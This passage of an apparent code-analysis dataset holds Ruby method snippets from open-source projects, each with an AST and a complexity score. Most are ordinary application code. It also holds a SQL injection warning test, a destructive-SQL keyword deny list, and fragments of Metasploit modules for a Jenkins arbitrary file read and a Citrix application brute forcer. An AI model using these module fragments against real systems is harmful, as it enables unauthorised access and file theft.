end","complexity_score":2.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_with_id_call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"b9ade31073676589cf3b6a88de30105f67cc8170e87f2c2fd1c972f50ad2a3b3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[34]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"child_id\"]}]}]}]}]}]}","id":"f70bee34-7578-4e54-b21a-9bc4924056ea"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/importer/public_statuses_index_importer.rb","start_line":4,"raw_source":"def import!\n    scope.select(:id).find_in_batches(batch_size: @batch_size) do |batch|\n      in_work_unit(batch.pluck(:id)) do |status_ids|\n        bulk = ActiveRecord::Base.connection_pool.with_connection do\n          build_bulk_body(index.adapter.default_scope.where(id: status_ids))\n        end\n\n        indexed = bulk.size\n        deleted = 0\n\n        Chewy::Index::Import::BulkRequest.new(index).perform(bulk)\n\n        [indexed, deleted]\n      end\n    end\n\n    wait!\n  end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"import!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"ivar\",\"children\":[\"@batch_size\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_work_unit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bulk\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build_bulk_body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index\"]},\"adapter\"]},\"default_scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"status_ids\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"indexed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulk\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chewy\"]},\"Index\"]},\"Import\"]},\"BulkRequest\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"index\"]}]},\"perform\",{\"type\":\"lvar\",\"children\":[\"bulk\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexed\"]},{\"type\":\"lvar\",\"children\":[\"deleted\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"wait!\"]}]}]}","id":"a5724e96-4017-4730-8726-57667c001249"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/users/username_generator.rb","start_line":41,"raw_source":"def random_usernames\n      Array.new(3) { @generator.call }\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"random_usernames\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@generator\"]},\"call\"]}]}]}","id":"f6a3aed7-f7f8-45f9-9416-fde08072b3c7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/backup_service.rb","start_line":178,"raw_source":"def serialize(object, serializer)\n    ActiveModelSerializers::SerializableResource.new(\n      object,\n      serializer: serializer,\n      adapter: ActivityPub::Adapter\n    ).as_json\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"serializer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModelSerializers\"]},\"SerializableResource\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"lvar\",\"children\":[\"serializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Adapter\"]}]}]}]},\"as_json\"]}]}","id":"f1b710cd-2142-459d-a539-7f92c86dd450"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/build_source_finder.rb","start_line":62,"raw_source":"def array_scope\n      Ci::BuildSource\n        .where(project_id: project.id)\n        .loose_index_scan(column: :source)\n        .where(source: sources)\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"array_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"BuildSource\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]},\"loose_index_scan\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"source\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"sources\"]}]}]}]}]}","id":"cb311900-73ff-4513-8496-cd59a307c06e"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/user_query_validator.rb","start_line":305,"raw_source":"def validate_read_only_operations\n    return if @query.blank?\n\n    query_upper = @query.upcase\n\n    # Check for data modification keywords\n    modifying_keywords = %w[INSERT UPDATE DELETE DROP CREATE ALTER TRUNCATE]\n\n    modifying_keywords.each do |keyword|\n      # Use word boundaries to avoid false positives\n      pattern = /\\b#{Regexp.escape(keyword)}\\b/i\n      if query_upper.match?(pattern)\n        @errors << \"Query cannot modify data - read-only queries only\"\n        break\n      end\n    end\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_read_only_operations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"query_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"modifying_keywords\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT\"]},{\"type\":\"str\",\"children\":[\"UPDATE\"]},{\"type\":\"str\",\"children\":[\"DELETE\"]},{\"type\":\"str\",\"children\":[\"DROP\"]},{\"type\":\"str\",\"children\":[\"CREATE\"]},{\"type\":\"str\",\"children\":[\"ALTER\"]},{\"type\":\"str\",\"children\":[\"TRUNCATE\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modifying_keywords\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keyword\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"keyword\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\b\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_upper\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Query cannot modify data - read-only queries only\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]}]}]}]}","id":"381f1c16-a23a-45b6-95cb-fa8fc98ee37d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/error_tracking/issue_update_service.rb","start_line":44,"raw_source":"def create_system_note(issue)\n      SystemNoteService.close_after_error_tracking_resolve(issue, project, current_user)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_system_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"close_after_error_tracking_resolve\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}","id":"0e83f6f0-3ffc-4675-99c6-e49e87773c3b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/discourse_merger.rb","start_line":1053,"raw_source":"def process_email_change_request(ecr)\n    ecr[\"old_email_token_id\"] = email_token_id_from_imported_id(ecr[\"old_email_token_id\"]) if ecr[\n      \"old_email_token_id\"\n    ]\n    ecr[\"new_email_token_id\"] = email_token_id_from_imported_id(ecr[\"new_email_token_id\"]) if ecr[\n      \"new_email_token_id\"\n    ]\n    ecr[\"requested_by_user_id\"] = user_id_from_imported_id(ecr[\"requested_by_user_id\"]) if ecr[\n      \"requested_by_user_id\"\n    ]\n    ecr\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_email_change_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ecr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]\",{\"type\":\"str\",\"children\":[\"old_email_token_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"old_email_token_id\"]},{\"type\":\"send\",\"children\":[null,\"email_token_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]\",{\"type\":\"str\",\"children\":[\"old_email_token_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]\",{\"type\":\"str\",\"children\":[\"new_email_token_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"new_email_token_id\"]},{\"type\":\"send\",\"children\":[null,\"email_token_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]\",{\"type\":\"str\",\"children\":[\"new_email_token_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]\",{\"type\":\"str\",\"children\":[\"requested_by_user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"requested_by_user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ecr\"]},\"[]\",{\"type\":\"str\",\"children\":[\"requested_by_user_id\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"ecr\"]}]}]}","id":"26991342-8ccb-4a82-905c-bf57212b9114"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/metrics.rb","start_line":19,"raw_source":"def self.pipeline_creation_step_duration_histogram\n          strong_memoize(:pipeline_creation_step_histogram) do\n            name = :gitlab_ci_pipeline_creation_step_duration_seconds\n            comment = 'Duration of each pipeline creation step'\n            labels = { step: nil }\n            buckets = [0.01, 0.05, 0.1, 0.5, 1.0, 2.0, 5.0, 10.0, 15.0, 20.0, 50.0, 240.0]\n\n            ::Gitlab::Metrics.histogram(name, comment, labels, buckets)\n          end\n        end","complexity_score":11.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pipeline_creation_step_duration_histogram\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"pipeline_creation_step_histogram\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"gitlab_ci_pipeline_creation_step_duration_seconds\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Duration of each pipeline creation step\"]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"step\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buckets\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[0.01]},{\"type\":\"float\",\"children\":[0.05]},{\"type\":\"float\",\"children\":[0.1]},{\"type\":\"float\",\"children\":[0.5]},{\"type\":\"float\",\"children\":[1.0]},{\"type\":\"float\",\"children\":[2.0]},{\"type\":\"float\",\"children\":[5.0]},{\"type\":\"float\",\"children\":[10.0]},{\"type\":\"float\",\"children\":[15.0]},{\"type\":\"float\",\"children\":[20.0]},{\"type\":\"float\",\"children\":[50.0]},{\"type\":\"float\",\"children\":[240.0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"histogram\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"buckets\"]}]}]}]}]}","id":"987f382e-df76-4a15-8285-0afc7a1b4332"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/api_key.rb","start_line":27,"raw_source":"def generate_key\n    if !self.key_hash\n      @key ||= SecureRandom.hex(32) # Not saved to DB\n      self.truncated_key = key[0..3]\n      self.key_hash = ApiKey.hash_key(key)\n    end\n  end","complexity_score":13.55,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"key_hash\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"truncated_key=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"key_hash=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApiKey\"]},\"hash_key\",{\"type\":\"send\",\"children\":[null,\"key\"]}]}]}]},null]}]}","id":"b2af3bce-bb52-402a-8989-4c0b7627013f"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/anthropic/chat.rb","start_line":14,"raw_source":"def render_payload(messages, tools:, temperature:, model:, stream: false, schema: nil) # rubocop:disable Metrics/ParameterLists,Lint/UnusedMethodArgument\n          system_messages, chat_messages = separate_messages(messages)\n          system_content = build_system_content(system_messages)\n\n          build_base_payload(chat_messages, model, stream).tap do |payload|\n            add_optional_fields(payload, system_content:, tools:, temperature:)\n          end\n        end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messages\"]},{\"type\":\"kwarg\",\"children\":[\"tools\"]},{\"type\":\"kwarg\",\"children\":[\"temperature\"]},{\"type\":\"kwarg\",\"children\":[\"model\"]},{\"type\":\"kwoptarg\",\"children\":[\"stream\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"schema\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"system_messages\"]},{\"type\":\"lvasgn\",\"children\":[\"chat_messages\"]}]},{\"type\":\"send\",\"children\":[null,\"separate_messages\",{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"system_content\",{\"type\":\"send\",\"children\":[null,\"build_system_content\",{\"type\":\"lvar\",\"children\":[\"system_messages\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_base_payload\",{\"type\":\"lvar\",\"children\":[\"chat_messages\"]},{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"stream\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"add_optional_fields\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system_content\"]},{\"type\":\"lvar\",\"children\":[\"system_content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tools\"]},{\"type\":\"lvar\",\"children\":[\"tools\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"temperature\"]},{\"type\":\"lvar\",\"children\":[\"temperature\"]}]}]}]}]}]}]}","id":"f13e3370-333a-4b38-b243-a6a1ef494cf2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.rb","start_line":207,"raw_source":"def download_request(uuid)\n    # send download request\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'cli'),\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'headers' => {\n        'Session' => uuid,\n        'Side' => 'download'\n      },\n      'vars_get' => {\n        'remoting' => 'false'\n      }\n    )\n\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid server reply to download request (response code: #{res.code})\") unless res.code == 200\n\n    @content_body = res.body\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"download_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uuid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"cli\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"lvar\",\"children\":[\"uuid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Side\"]},{\"type\":\"str\",\"children\":[\"download\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"remoting\"]},{\"type\":\"str\",\"children\":[\"false\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Invalid server reply to download request (response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@content_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]}","id":"f255176e-a8aa-4f1f-a487-b6606daafea8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/workflows/bulk_update_service.rb","start_line":38,"raw_source":"def call(status_transitions)\n    valid = true\n\n    Role.transaction do\n      delete_current\n      new_workflows = build_workflows(status_transitions)\n\n      if (valid = new_workflows.each(&:valid?))\n        bulk_insert(new_workflows)\n      else\n        raise ActiveRecord::Rollback\n      end\n    end\n\n    ServiceResult.new success: valid, errors: role.errors\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status_transitions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_current\"]},{\"type\":\"lvasgn\",\"children\":[\"new_workflows\",{\"type\":\"send\",\"children\":[null,\"build_workflows\",{\"type\":\"lvar\",\"children\":[\"status_transitions\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_workflows\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"bulk_insert\",{\"type\":\"lvar\",\"children\":[\"new_workflows\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"valid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"errors\"]}]}]}]}]}]}","id":"ad680e97-8a33-44e2-bed2-cbe58fb14f0f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/citrix_published_bruteforce.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Citrix MetaFrame ICA Published Applications Bruteforcer',\n        'Description' => %q{\n          This module attempts to brute force program names within the Citrix\n          Metaframe ICA server.\n        },\n        'Author' => [ 'aushack' ],\n        'References' => [\n          [ 'OSVDB', '50617' ],\n          [ 'BID', '5817' ]\n        ],\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(1604),\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Citrix MetaFrame ICA Published Applications Bruteforcer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to brute force program names within the Citrix\\n\"]},{\"type\":\"str\",\"children\":[\"          Metaframe ICA server.\\n\"]},{\"type\":\"str\",\"children\":[\"        